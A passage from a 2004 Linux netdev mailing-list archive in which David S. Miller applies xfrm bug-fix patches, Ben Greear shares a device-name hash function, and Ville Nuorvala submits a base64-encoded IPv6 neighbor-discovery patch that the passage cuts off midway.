This can also be done > by dropping the reference before the pfkey_broadcast() and in the IS_ERR > case. Obviously correct, patch applied thanks. From davem@pizda.ninka.net Tue Jan 13 23:30:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 23:30:50 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E7Ub6H031624 for ; Tue, 13 Jan 2004 23:30:37 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA10523; Tue, 13 Jan 2004 23:23:35 -0800 Date: Tue, 13 Jan 2004 23:23:35 -0800 From: "David S. Miller" To: Krishna Kumar Cc: netdev@oss.sgi.com Subject: Re: [PATCH 3/5] xfrm_lookup bugs Message-Id: <20040113232335.2236706f.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2429 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 412 Lines: 11 On Tue, 13 Jan 2004 13:23:35 -0800 (PST) Krishna Kumar wrote: > In xfrm_lookup, a couple of bugs : > - the found or allocated xfrm_states are not passed correctly to > xfrm_bundle_create (and to the subsequent frees in case of create > failing) if the first xfrm_tmpl_resolve failed and the second one > succeeded. > - error handling is wrong. Looks fine, patch applied thanks. From davem@pizda.ninka.net Tue Jan 13 23:32:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 23:32:36 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E7WN6H032035 for ; Tue, 13 Jan 2004 23:32:23 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA10552; Tue, 13 Jan 2004 23:25:24 -0800 Date: Tue, 13 Jan 2004 23:25:24 -0800 From: "David S. Miller" To: Krishna Kumar Cc: netdev@oss.sgi.com, krkumar@us.ibm.com Subject: Re: [PATCH 4/5] xfrm_state_construct doesn't set tunnel state Message-Id: <20040113232524.6ca5b0fe.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2430 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 420 Lines: 11 On Tue, 13 Jan 2004 13:24:23 -0800 (PST) Krishna Kumar wrote: > xfrm_state_construct doesn't set x->km.state to XFRM_STATE_DEAD. This can lead > to the BUG_TRAP in __xfrm_state_destroy when xfrm_state_put() finds this is > the last reference. This was reported as one of the symptoms of [Bug 1754] > some time back. Smells just like the nearly identical case in ipcomp :-) Patch applied, thanks. From davem@pizda.ninka.net Tue Jan 13 23:34:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 23:34:33 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E7YK6H032448 for ; Tue, 13 Jan 2004 23:34:20 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id XAA10578; Tue, 13 Jan 2004 23:27:22 -0800 Date: Tue, 13 Jan 2004 23:27:22 -0800 From: "David S. Miller" To: Krishna Kumar Cc: netdev@oss.sgi.com, krkumar@us.ibm.com Subject: Re: [PATCH 5/5] schedule() bug in xfrm_lookup() Message-Id: <20040113232722.2c04bc03.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2431 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 240 Lines: 7 On Tue, 13 Jan 2004 13:26:21 -0800 (PST) Krishna Kumar wrote: > When xfrm_tmpl_resolve fails, schedule() before retrying. Also, cleaned > up the set_task_* routines to use set_current_*, etc. Applied, thanks Krishna. From greearb@candelatech.com Tue Jan 13 23:54:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 23:55:12 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E7sw6H000692 for ; Tue, 13 Jan 2004 23:54:59 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.8) with ESMTP id i0E7su9v002648; Tue, 13 Jan 2004 23:54:57 -0800 Message-ID: <4004F5D0.7040106@candelatech.com> Date: Tue, 13 Jan 2004 23:54:56 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. References: <20040113154610.38f5934c.shemminger@osdl.org> <40048BFD.4010303@candelatech.com> <20040113163828.64ec4743.shemminger@osdl.org> <4004A194.3030602@candelatech.com> <20040113231825.700e534f.davem@redhat.com> In-Reply-To: <20040113231825.700e534f.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2432 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 919 Lines: 32 David S. Miller wrote: > Therefore, I think it's wise to just do this right from the start and use a hash. > Stephen can you test up and submit the netdev name hash patch you have? > In case it proves useful, here's the hash I used before. It makes some assumptions based on the fact that the last two characters of a device name are often numbers, especially when you have lots of devices. Someone did a mapping of this and found it worked well for vlans, at least. int fdl_calc_name_idx(const char* dev_name) { int tmp = 0; int i; for (i = 0; dev_name[i]; i++) { tmp += (int)(dev_name[i]); } if (i > 3) { tmp += (dev_name[i-2] * 10); /* might add a little spread to the hash */ tmp += (dev_name[i-3] * 100); /* might add a little spread to the hash */ } return (tmp % FDL_HASH_LEN); } -- Ben Greear Candela Technologies Inc http://www.candelatech.com From vnuorval@tcs.hut.fi Wed Jan 14 01:08:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 01:08:20 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E9856H005753 for ; Wed, 14 Jan 2004 01:08:06 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id A28948002EF; Wed, 14 Jan 2004 11:08:04 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0E9847Y024120; Wed, 14 Jan 2004 11:08:04 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0E984Mx024116; Wed, 14 Jan 2004 11:08:04 +0200 Date: Wed, 14 Jan 2004 11:08:04 +0200 (EET) From: Ville Nuorvala To: davem@redhat.com Cc: netdev@oss.sgi.com Subject: [PATCH 2/2] IPv6: strict address checks even on globals in ndisc Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-377318441-1422556349-1074070733=:23925" Content-ID: X-archive-position: 2433 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 12471 Lines: 221 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---377318441-1422556349-1074070733=:23925 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Hi Dave, the second part of my patchset contains fixes to the use of addresses in neigbor discovery. RFC 2461 requires that the source address of Neighbor Discovery messages is an address assigned to the sending interface. Duplicate Address Detection should also be interface specific. We don't, for exaple, want a node to DoS itself just because it has two interfaces on the same link and both happen to listen to the same multicast group. If there is a true duplicate on the link, the interface doing DAD will notice it anyway. The attached patch adds a "strict" parameter to ip6_chk_addr() and ip6_get_ifaddr() to allow link-local protocols like ND and DAD to do strict address checks even on addresses with greater scope than link-local. Thanks, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 ---377318441-1422556349-1074070733=:23925 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="ndisc_strict_addr_chk.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="ndisc_strict_addr_chk.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTUxNCAgLT4gMS4xNTE1IA0KIwkg IG5ldC9pcHY2L2FueWNhc3QuYwkxLjkgICAgIC0+IDEuMTAgICANCiMJbmV0 L2lwdjYvaXA2X3R1bm5lbC5jCTEuMTUgICAgLT4gMS4xNiAgIA0KIwkgbmV0 L2lwdjYvZGF0YWdyYW0uYwkxLjEyICAgIC0+IDEuMTMgICANCiMJICAgICBu ZXQvaXB2Ni9pY21wLmMJMS40NSAgICAtPiAxLjQ2ICAgDQojCSAgICAgIG5l dC9pcHY2L3Jhdy5jCTEuNDYgICAgLT4gMS40NyAgIA0KIwkgbmV0L2lwdjYv YWZfaW5ldDYuYwkxLjU4ICAgIC0+IDEuNTkgICANCiMJICAgIG5ldC9pcHY2 L25kaXNjLmMJMS42MCAgICAtPiAxLjYxICAgDQojCSAgICAgbmV0L3NjdHAv aXB2Ni5jCTEuNDkgICAgLT4gMS41MCAgIA0KIwlpbmNsdWRlL25ldC9hZGRy Y29uZi5oCTEuMTEgICAgLT4gMS4xMiAgIA0KIwkgbmV0L2lwdjYvYWRkcmNv bmYuYwkxLjc5ICAgIC0+IDEuODAgICANCiMNCiMgVGhlIGZvbGxvd2luZyBp cyB0aGUgQml0S2VlcGVyIENoYW5nZVNldCBMb2cNCiMgLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgMDQvMDEvMTMJ dm51b3J2YWxAYW1iZXIuaHV0Lm1lZGlhcG9saS5jb20JMS4xNTE1DQojIERv IHN0cmljdCAoaW50ZXJmYWNlIHNwZWNpZmljKSBhZGRyZXNzIGNoZWNrcyBp biBpcHY2X2Noa19hZGRyKCkgYW5kIGlwdjZfZ2V0X2lmYWRkcigpIHdoZW4N CiMgZG9pbmcgTmVpZ2hib3IgRGlzY292ZXJ5LiBUaGlzIGlzIHJlcXVpcmVk IGJ5IHRoZSBzcGVjaWZpY2F0aW9uIHdoZW4gc2VsZWN0aW5nIGEgc291cmNl DQojIGFkZHJlc3MgZm9yIE5EIG1lc3NhZ2VzLCBhbmQgc2VlbXMgbG9naWNh bCB3aGVuIGRvaW5nIERBRCAoZm9yIGV4YW1wbGUgb24gYSBtdWx0aWhvbWVk IG5vZGUpLg0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLQ0KIw0KZGlmZiAtTnJ1IGEvaW5jbHVkZS9uZXQvYWRkcmNv bmYuaCBiL2luY2x1ZGUvbmV0L2FkZHJjb25mLmgNCi0tLSBhL2luY2x1ZGUv bmV0L2FkZHJjb25mLmgJVHVlIEphbiAxMyAyMTowMjowOCAyMDA0DQorKysg Yi9pbmNsdWRlL25ldC9hZGRyY29uZi5oCVR1ZSBKYW4gMTMgMjE6MDI6MDgg MjAwNA0KQEAgLTU5LDkgKzU5LDExIEBADQogZXh0ZXJuIGludAkJCWFkZHJj b25mX3NldF9kc3RhZGRyKHZvaWQgKmFyZyk7DQogDQogZXh0ZXJuIGludAkJ CWlwdjZfY2hrX2FkZHIoc3RydWN0IGluNl9hZGRyICphZGRyLA0KLQkJCQkJ ICAgICAgc3RydWN0IG5ldF9kZXZpY2UgKmRldik7DQorCQkJCQkgICAgICBz dHJ1Y3QgbmV0X2RldmljZSAqZGV2LA0KKwkJCQkJICAgICAgaW50IHN0cmlj dCk7DQogZXh0ZXJuIHN0cnVjdCBpbmV0Nl9pZmFkZHIgKglpcHY2X2dldF9p ZmFkZHIoc3RydWN0IGluNl9hZGRyICphZGRyLA0KLQkJCQkJCXN0cnVjdCBu ZXRfZGV2aWNlICpkZXYpOw0KKwkJCQkJCXN0cnVjdCBuZXRfZGV2aWNlICpk ZXYsDQorCQkJCQkJaW50IHN0cmljdCk7DQogZXh0ZXJuIGludAkJCWlwdjZf Z2V0X3NhZGRyKHN0cnVjdCBkc3RfZW50cnkgKmRzdCwgDQogCQkJCQkgICAg ICAgc3RydWN0IGluNl9hZGRyICpkYWRkciwNCiAJCQkJCSAgICAgICBzdHJ1 Y3QgaW42X2FkZHIgKnNhZGRyKTsNCmRpZmYgLU5ydSBhL25ldC9pcHY2L2Fk ZHJjb25mLmMgYi9uZXQvaXB2Ni9hZGRyY29uZi5jDQotLS0gYS9uZXQvaXB2 Ni9hZGRyY29uZi5jCVR1ZSBKYW4gMTMgMjE6MDI6MDggMjAwNA0KKysrIGIv bmV0L2lwdjYvYWRkcmNvbmYuYwlUdWUgSmFuIDEzIDIxOjAyOjA4IDIwMDQN CkBAIC05MDQsNyArOTA0LDcgQEANCiAJcmV0dXJuIGNudDsNCiB9DQogDQot aW50IGlwdjZfY2hrX2FkZHIoc3RydWN0IGluNl9hZGRyICphZGRyLCBzdHJ1 Y3QgbmV0X2RldmljZSAqZGV2KQ0KK2ludCBpcHY2X2Noa19hZGRyKHN0cnVj dCBpbjZfYWRkciAqYWRkciwgc3RydWN0IG5ldF9kZXZpY2UgKmRldiwgaW50 IHN0cmljdCkNCiB7DQogCXN0cnVjdCBpbmV0Nl9pZmFkZHIgKiBpZnA7DQog CXU4IGhhc2ggPSBpcHY2X2FkZHJfaGFzaChhZGRyKTsNCkBAIC05MTQsNyAr OTE0LDcgQEANCiAJCWlmIChpcHY2X2FkZHJfY21wKCZpZnAtPmFkZHIsIGFk ZHIpID09IDAgJiYNCiAJCSAgICAhKGlmcC0+ZmxhZ3MmSUZBX0ZfVEVOVEFU SVZFKSkgew0KIAkJCWlmIChkZXYgPT0gTlVMTCB8fCBpZnAtPmlkZXYtPmRl diA9PSBkZXYgfHwNCi0JCQkgICAgIShpZnAtPnNjb3BlJihJRkFfTElOS3xJ RkFfSE9TVCkpKQ0KKwkJCSAgICAhKGlmcC0+c2NvcGUmKElGQV9MSU5LfElG QV9IT1NUKSB8fCBzdHJpY3QpKQ0KIAkJCQlicmVhazsNCiAJCX0NCiAJfQ0K QEAgLTkzOSw3ICs5MzksNyBAQA0KIAlyZXR1cm4gaWZwICE9IE5VTEw7DQog fQ0KIA0KLXN0cnVjdCBpbmV0Nl9pZmFkZHIgKiBpcHY2X2dldF9pZmFkZHIo c3RydWN0IGluNl9hZGRyICphZGRyLCBzdHJ1Y3QgbmV0X2RldmljZSAqZGV2 KQ0KK3N0cnVjdCBpbmV0Nl9pZmFkZHIgKiBpcHY2X2dldF9pZmFkZHIoc3Ry dWN0IGluNl9hZGRyICphZGRyLCBzdHJ1Y3QgbmV0X2RldmljZSAqZGV2LCBp bnQgc3RyaWN0KQ0KIHsNCiAJc3RydWN0IGluZXQ2X2lmYWRkciAqIGlmcDsN CiAJdTggaGFzaCA9IGlwdjZfYWRkcl9oYXNoKGFkZHIpOw0KQEAgLTk0OCw3 ICs5NDgsNyBAQA0KIAlmb3IoaWZwID0gaW5ldDZfYWRkcl9sc3RbaGFzaF07 IGlmcDsgaWZwPWlmcC0+bHN0X25leHQpIHsNCiAJCWlmIChpcHY2X2FkZHJf Y21wKCZpZnAtPmFkZHIsIGFkZHIpID09IDApIHsNCiAJCQlpZiAoZGV2ID09 IE5VTEwgfHwgaWZwLT5pZGV2LT5kZXYgPT0gZGV2IHx8DQotCQkJICAgICEo aWZwLT5zY29wZSYoSUZBX0xJTkt8SUZBX0hPU1QpKSkgew0KKwkJCSAgICAh KGlmcC0+c2NvcGUmKElGQV9MSU5LfElGQV9IT1NUKSB8fCBzdHJpY3QpKSB7 DQogCQkJCWluNl9pZmFfaG9sZChpZnApOw0KIAkJCQlicmVhazsNCiAJCQl9 DQpAQCAtMTM4Nyw3ICsxMzg3LDcgQEANCiANCiBvazoNCiANCi0JCWlmcCA9 IGlwdjZfZ2V0X2lmYWRkcigmYWRkciwgZGV2KTsNCisJCWlmcCA9IGlwdjZf Z2V0X2lmYWRkcigmYWRkciwgZGV2LCAxKTsNCiANCiAJCWlmIChpZnAgPT0g TlVMTCAmJiB2YWxpZF9sZnQpIHsNCiAJCQkvKiBEbyBub3QgYWxsb3cgdG8g Y3JlYXRlIHRvbyBtdWNoIG9mIGF1dG9jb25maWd1cmVkDQpAQCAtMjgzMCw3 ICsyODMwLDcgQEANCiAJCQlpZiAoIWlwdjZfYWRkcl9hbnkoJmFkZHIpKQ0K IAkJCQlpcHY2X2Rldl9hY19kZWMoaWZwLT5pZGV2LT5kZXYsICZhZGRyKTsN CiAJCX0NCi0JCWlmICghaXB2Nl9jaGtfYWRkcigmaWZwLT5hZGRyLCBOVUxM KSkNCisJCWlmICghaXB2Nl9jaGtfYWRkcigmaWZwLT5hZGRyLCBpZnAtPmlk ZXYtPmRldiwgMSkpDQogCQkJaXA2X3J0X2FkZHJfZGVsKCZpZnAtPmFkZHIs IGlmcC0+aWRldi0+ZGV2KTsNCiAJCWJyZWFrOw0KIAl9DQpkaWZmIC1OcnUg YS9uZXQvaXB2Ni9hZl9pbmV0Ni5jIGIvbmV0L2lwdjYvYWZfaW5ldDYuYw0K LS0tIGEvbmV0L2lwdjYvYWZfaW5ldDYuYwlUdWUgSmFuIDEzIDIxOjAyOjA4 IDIwMDQNCisrKyBiL25ldC9pcHY2L2FmX2luZXQ2LmMJVHVlIEphbiAxMyAy MTowMjowOCAyMDA0DQpAQCAtMzU1LDcgKzM1NSw3IEBADQogCQkJICovDQog CQkJdjRhZGRyID0gTE9PUEJBQ0s0X0lQVjY7DQogCQkJaWYgKCEoYWRkcl90 eXBlICYgSVBWNl9BRERSX01VTFRJQ0FTVCkpCXsNCi0JCQkJaWYgKCFpcHY2 X2Noa19hZGRyKCZhZGRyLT5zaW42X2FkZHIsIGRldikpIHsNCisJCQkJaWYg KCFpcHY2X2Noa19hZGRyKCZhZGRyLT5zaW42X2FkZHIsIGRldiwgMCkpIHsN CiAJCQkJCWlmIChkZXYpDQogCQkJCQkJZGV2X3B1dChkZXYpOw0KIAkJCQkJ ZXJyID0gLUVBRERSTk9UQVZBSUw7DQpkaWZmIC1OcnUgYS9uZXQvaXB2Ni9h bnljYXN0LmMgYi9uZXQvaXB2Ni9hbnljYXN0LmMNCi0tLSBhL25ldC9pcHY2 L2FueWNhc3QuYwlUdWUgSmFuIDEzIDIxOjAyOjA4IDIwMDQNCisrKyBiL25l dC9pcHY2L2FueWNhc3QuYwlUdWUgSmFuIDEzIDIxOjAyOjA4IDIwMDQNCkBA IC0xMTMsNyArMTEzLDcgQEANCiAJCXJldHVybiAtRVBFUk07DQogCWlmIChp cHY2X2FkZHJfdHlwZShhZGRyKSAmIElQVjZfQUREUl9NVUxUSUNBU1QpDQog CQlyZXR1cm4gLUVJTlZBTDsNCi0JaWYgKGlwdjZfY2hrX2FkZHIoYWRkciwg TlVMTCkpDQorCWlmIChpcHY2X2Noa19hZGRyKGFkZHIsIE5VTEwsIDApKQ0K IAkJcmV0dXJuIC1FSU5WQUw7DQogDQogCXBhYyA9IHNvY2tfa21hbGxvYyhz aywgc2l6ZW9mKHN0cnVjdCBpcHY2X2FjX3NvY2tsaXN0KSwgR0ZQX0tFUk5F TCk7DQpkaWZmIC1OcnUgYS9uZXQvaXB2Ni9kYXRhZ3JhbS5jIGIvbmV0L2lw djYvZGF0YWdyYW0uYw0KLS0tIGEvbmV0L2lwdjYvZGF0YWdyYW0uYwlUdWUg SmFuIDEzIDIxOjAyOjA4IDIwMDQNCisrKyBiL25ldC9pcHY2L2RhdGFncmFt LmMJVHVlIEphbiAxMyAyMTowMjowOCAyMDA0DQpAQCAtMzA3LDcgKzMwNyw3 IEBADQogCQkJCQkJcmV0dXJuIC1FTk9ERVY7DQogCQkJCX0NCiAJCQl9DQot CQkJaWYgKCFpcHY2X2Noa19hZGRyKCZzcmNfaW5mby0+aXBpNl9hZGRyLCBk ZXYpKSB7DQorCQkJaWYgKCFpcHY2X2Noa19hZGRyKCZzcmNfaW5mby0+aXBp Nl9hZGRyLCBkZXYsIDApKSB7DQogCQkJCWlmIChkZXYpDQogCQkJCQlkZXZf cHV0KGRldik7DQogCQkJCWVyciA9IC1FSU5WQUw7DQpkaWZmIC1OcnUgYS9u ZXQvaXB2Ni9pY21wLmMgYi9uZXQvaXB2Ni9pY21wLmMNCi0tLSBhL25ldC9p cHY2L2ljbXAuYwlUdWUgSmFuIDEzIDIxOjAyOjA4IDIwMDQNCisrKyBiL25l dC9pcHY2L2ljbXAuYwlUdWUgSmFuIDEzIDIxOjAyOjA4IDIwMDQNCkBAIC0y OTgsNyArMjk4LDcgQEANCiAJICovDQogCWFkZHJfdHlwZSA9IGlwdjZfYWRk cl90eXBlKCZoZHItPmRhZGRyKTsNCiANCi0JaWYgKGlwdjZfY2hrX2FkZHIo Jmhkci0+ZGFkZHIsIHNrYi0+ZGV2KSkNCisJaWYgKGlwdjZfY2hrX2FkZHIo Jmhkci0+ZGFkZHIsIHNrYi0+ZGV2LCAwKSkNCiAJCXNhZGRyID0gJmhkci0+ ZGFkZHI7DQogDQogCS8qDQpkaWZmIC1OcnUgYS9uZXQvaXB2Ni9pcDZfdHVu bmVsLmMgYi9uZXQvaXB2Ni9pcDZfdHVubmVsLmMNCi0tLSBhL25ldC9pcHY2 L2lwNl90dW5uZWwuYwlUdWUgSmFuIDEzIDIxOjAyOjA4IDIwMDQNCisrKyBi L25ldC9pcHY2L2lwNl90dW5uZWwuYwlUdWUgSmFuIDEzIDIxOjAyOjA4IDIw MDQNCkBAIC03NzcsMTAgKzc3NywxMCBAQA0KIAkJaWYgKHAtPmxpbmspDQog CQkJbGRldiA9IGRldl9nZXRfYnlfaW5kZXgocC0+bGluayk7DQogCQkNCi0J CWlmICgobHR5cGUmSVBWNl9BRERSX1VOSUNBU1QpICYmICFpcHY2X2Noa19h ZGRyKGxhZGRyLCBsZGV2KSkNCisJCWlmIChsdHlwZSZJUFY2X0FERFJfVU5J Q0FTVCAmJiAhaXB2Nl9jaGtfYWRkcihsYWRkciwgbGRldiwgMCkpDQogCQkJ bF9vayA9IDA7DQogCQkNCi0JCWlmICgocnR5cGUmSVBWNl9BRERSX1VOSUNB U1QpICYmIGlwdjZfY2hrX2FkZHIocmFkZHIsIE5VTEwpKQ0KKwkJaWYgKHJ0 eXBlJklQVjZfQUREUl9VTklDQVNUICYmIGlwdjZfY2hrX2FkZHIocmFkZHIs IE5VTEwsIDApKQ0KIAkJCXJfb2sgPSAwOw0KIAkJDQogCQlpZiAobF9vayAm JiByX29rKSB7DQpkaWZmIC1OcnUgYS9uZXQvaXB2Ni9uZGlzYy5jIGIvbmV0 L2lwdjYvbmRpc2MuYw0KLS0tIGEvbmV0L2lwdjYvbmRpc2MuYwlUdWUgSmFu IDEzIDIxOjAyOjA4IDIwMDQNCisrKyBiL25ldC9pcHY2L25kaXNjLmMJVHVl IEphbiAxMyAyMTowMjowOCAyMDA0DQpAQCAtNDM0LDcgKzQzNCw3IEBADQog CWxlbiA9IHNpemVvZihzdHJ1Y3QgaWNtcDZoZHIpICsgc2l6ZW9mKHN0cnVj dCBpbjZfYWRkcik7DQogDQogCS8qIGZvciBhbnljYXN0IG9yIHByb3h5LCBz b2xpY2l0ZWRfYWRkciAhPSBzcmNfYWRkciAqLw0KLQlpZnAgPSBpcHY2X2dl dF9pZmFkZHIoc29saWNpdGVkX2FkZHIsIGRldik7DQorCWlmcCA9IGlwdjZf Z2V0X2lmYWRkcihzb2xpY2l0ZWRfYWRkciwgZGV2LCAxKTsNCiAgCWlmIChp ZnApIHsNCiAJCXNyY19hZGRyID0gc29saWNpdGVkX2FkZHI7DQogCQlpbjZf aWZhX3B1dChpZnApOw0KQEAgLTY4MCw3ICs2ODAsNyBAQA0KIAlzdHJ1Y3Qg aW42X2FkZHIgKnRhcmdldCA9IChzdHJ1Y3QgaW42X2FkZHIgKikmbmVpZ2gt PnByaW1hcnlfa2V5Ow0KIAlpbnQgcHJvYmVzID0gYXRvbWljX3JlYWQoJm5l aWdoLT5wcm9iZXMpOw0KIA0KLQlpZiAoc2tiICYmIGlwdjZfY2hrX2FkZHIo JnNrYi0+bmguaXB2NmgtPnNhZGRyLCBkZXYpKQ0KKwlpZiAoc2tiICYmIGlw djZfY2hrX2FkZHIoJnNrYi0+bmguaXB2NmgtPnNhZGRyLCBkZXYsIDEpKQ0K IAkJc2FkZHIgPSAmc2tiLT5uaC5pcHY2aC0+c2FkZHI7DQogDQogCWlmICgo cHJvYmVzIC09IG5laWdoLT5wYXJtcy0+dWNhc3RfcHJvYmVzKSA8IDApIHsN CkBAIC03NTgsNyArNzU4LDcgQEANCiAJCX0NCiAJfQ0KIA0KLQlpZiAoKGlm cCA9IGlwdjZfZ2V0X2lmYWRkcigmbXNnLT50YXJnZXQsIGRldikpICE9IE5V TEwpIHsNCisJaWYgKChpZnAgPSBpcHY2X2dldF9pZmFkZHIoJm1zZy0+dGFy Z2V0LCBkZXYsIDEpKSAhPSBOVUxMKSB7DQogCQlpZiAoaWZwLT5mbGFncyAm IElGQV9GX1RFTlRBVElWRSkgew0KIAkJCS8qIEFkZHJlc3MgaXMgdGVudGF0 aXZlLiBJZiB0aGUgc291cmNlDQogCQkJICAgaXMgdW5zcGVjaWZpZWQgYWRk cmVzcywgaXQgaXMgc29tZW9uZQ0KQEAgLTk1NSw3ICs5NTUsNyBAQA0KIAkJ CXJldHVybjsNCiAJCX0NCiAJfQ0KLQlpZiAoKGlmcCA9IGlwdjZfZ2V0X2lm YWRkcigmbXNnLT50YXJnZXQsIGRldikpKSB7DQorCWlmICgoaWZwID0gaXB2 Nl9nZXRfaWZhZGRyKCZtc2ctPnRhcmdldCwgZGV2LCAxKSkpIHsNCiAJCWlm IChpZnAtPmZsYWdzICYgSUZBX0ZfVEVOVEFUSVZFKSB7DQogCQkJYWRkcmNv bmZfZGFkX2ZhaWx1cmUoaWZwKTsNCiAJCQlyZXR1cm47DQpkaWZmIC1OcnUg YS9uZXQvaXB2Ni9yYXcuYyBiL25ldC9pcHY2L3Jhdy5jDQotLS0gYS9uZXQv aXB2Ni9yYXcuYwlUdWUgSmFuIDEzIDIxOjAyOjA4IDIwMDQNCisrKyBiL25l dC9pcHY2L3Jhdy5jCVR1ZSBKYW4gMTMgMjE6MDI6MDggMjAwNA0KQEAgLTIy Nyw3ICsyMjcsNyBAQA0KIAkJdjRhZGRyID0gTE9PUEJBQ0s0X0lQVjY7DQog CQlpZiAoIShhZGRyX3R5cGUgJiBJUFY2X0FERFJfTVVMVElDQVNUKSkJew0K IAkJCWVyciA9IC1FQUREUk5PVEFWQUlMOw0KLQkJCWlmICghaXB2Nl9jaGtf YWRkcigmYWRkci0+c2luNl9hZGRyLCBkZXYpKSB7DQorCQkJaWYgKCFpcHY2 X2Noa19hZGRyKCZhZGRyLT5zaW42X2FkZHIsIGRldiwgMCkpIHsNCiAJCQkJ aWYgKGRldikNCiAJCQkJCWRldl9wdXQoZGV2KTsNCiAJCQkJZ290byBvdXQ7 DQpkaWZmIC1OcnUgYS9uZXQvc2N0cC9pcHY2LmMgYi9uZXQvc2N0cC9pcHY2 LmMNCi0tLSBhL25ldC9zY3RwL2lwdjYuYwlUdWUgSmFuIDEzIDIxOjAyOjA4 IDIwMDQNCisrKyBiL25ldC9zY3RwL2lwdjYuYwlUdWUgSmFuIDEzIDIxOjAy OjA4IDIwMDQNCkBAIC01MTAsNyArNTEwLDcgQEANCiAJaWYgKCEodHlwZSAm IElQVjZfQUREUl9VTklDQVNUKSkNCiAJCXJldHVybiAwOw0KIA0KLQlyZXR1 